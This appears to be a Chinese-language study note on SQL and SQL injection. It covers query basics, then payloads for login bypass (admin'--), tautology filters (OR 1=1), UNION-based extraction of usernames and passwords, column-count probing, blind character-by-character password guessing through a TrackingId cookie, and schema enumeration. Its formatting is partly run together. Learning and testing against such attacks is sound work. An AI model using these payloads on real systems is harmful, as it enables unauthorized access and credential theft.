SQL
Claire
SQL
SQLi
SELECT 與 FROM 是從指定的資料表中選擇欄位查詢
SELECT *:選擇資料表的「所有」欄位SELECT column_name:選擇資料表的「指定」欄位SELECT column_name AS new_name:選擇欄位並改名WHERE condition:布林比較
AND:兩個條件皆為真才為真
OR:兩個條件皆為假才為假
NOT:將條件的比較結果真假互換BETWEEN a AND b:數據大小在 a 和 b 間 ORDER BY:指定變數來排序SELECT 間加 UNION 可連結SELECT class_number AS c_no
FROM students
WHERE class_number NOT BETWEEN 3 AND 5
ORDER BY c_no SELECT 選取
FROM 來源
WHERE 條件
GROUP BY 分組
HAVING 條件
ORDER BY 順序
LIMIT 筆數限制後端收到參數 p_type 後,會執行:
p_type = 'food':查詢 food 類別的商品
released = 1:已發布商品
SELECT * FROM products
WHERE p_type = 'food' AND released = 1SELECT * FROM products
WHERE p_type = 'food'+OR+1=1--' AND released = 1AND 後面的條件
+ 在網址中是空白(%20)的意思OR 1=1:永遠為真username: input1
password: input2
SELECT * FROM users
WHERE username = input1 AND password = input2SELECT * FROM users
WHERE username = 'admin'--' AND password = username: admin'--
password:
-- 之後的內容被註解掉
UNION 可以執行多個額外的 SELECT
每個查詢要回傳相同數量的資料
SELECT p_name, p_description FROM products
WHERE p_type = 'food' UNION 進行第二個 SELECT 操作food' UNION SELECT username, password FROM users --
SELECT p_name, p_description FROM products
WHERE p_type = 'food' UNION SELECT username, password FROM users --' SELECT * FROM products
WHERE p_type = 'food' ORDER BY 1--' AND released = 1ORDER BY 測試(用第 n 個欄位排序)
ORDER BY 1--ORDER BY 2--ORDER BY 3--SELECT * FROM products
WHERE p_type = 'food'
UNION SELECT NULL--' AND released = 1
UNION SELECT NULL 測試(UNION 欄位數需相同)
' UNION SELECT NULL--' UNION SELECT NULL,NULL--' UNION SELECT NULL,NULL,NULL--NULL 的個數就是欄位數NULL
NULL 可被轉換成大部分型態避免型態不相容錯誤
是 UNION 測試的標準寫法
SELECT * FROM products
WHERE p_type = 'food' UNION SELECT 'a', NULL, NULL, NULL--' and released = 1UNION 的方法直接取得想要的資料
TrackingId 檢查該使用者是否已存在資料庫 TrackedUsers 中
TrackingId = x' UNION SELECT 'a' WHERE 1=1--
1=1 回傳 true,畫面就顯示「Welcome back」
TrackingId = x' UNION SELECT 'a' WHERE 1=2--
1=2 回傳 false,畫面不顯示「Welcome back」
admin TrackingId = x' UNION SELECT 'a' FROM users WHERE username='admin'--
TrackingId = x' UNION SELECT 'a'
FROM Users
WHERE Username = 'admin'
AND LENGTH(Password) > 10 --
確認密碼長度後開始猜密碼
SUBSTRING(Password,1,1):從 Password 欄位第 1 個字元開始取 1 個字元
ASCII < 'm' 就會噴錯
繼續猜
TrackingId = x' UNION SELECT 'a'
FROM Users
WHERE Username = 'admin'
AND SUBSTRING(Password, 1, 1) > 'm' --
TrackingId = x' UNION SELECT 'a'
FROM Users
WHERE Username = 'admin'
AND SUBSTRING(Password, 2, 1) > 'm' --
用來在沒有實際資料表時執行 SELECT
Oracle 的 SELECT 一定要有 FROM
MySQL:可以用 FROM DUAL,但不是必要
MSSQL:不使用 FROM DUAL
SELECT 'test' FROM DUALinformation_schema 保存資料庫、資料表、欄位等:information_schema.schemata
schema_name:資料庫名稱information_schema.tables
table_name:資料表名稱table_schema:對應資料庫名稱information_schema.columns
column_name:欄位名稱table_name:對應資料表-- 取得所有資料庫清單
SELECT schema_name
FROM information_schema.schemata;
-- 在知道資料庫名稱後,查找該資料庫中的所有資料表
SELECT table_name
FROM information_schema.tables
WHERE table_schema='資料庫名稱';
-- 在知道資料表後,查找該資料表中的所有欄位
SELECT column_name
FROM information_schema.columns
WHERE table_name='資料表名稱';
-- 最後再真正撈取該表的所有資料
SELECT 欄位名稱
FROM 資料庫名稱.資料表名稱;
SELECT table_name FROM all_tables;
SELECT column_name FROM all_tab_columns WHERE table_name='資料表名稱';
SELECT 欄位名稱 FROM 資料庫名稱.資料表名稱;SELECT * FROM all_tables;
SELECT * FROM all_tab_columns WHERE table_name='資料表名稱';SELECT * FROM information_schema.tables;
SELECT * FROM information_schema.columns WHERE table_name='資料表名稱';||、+、CONCAT() …)--、#、/*...*/)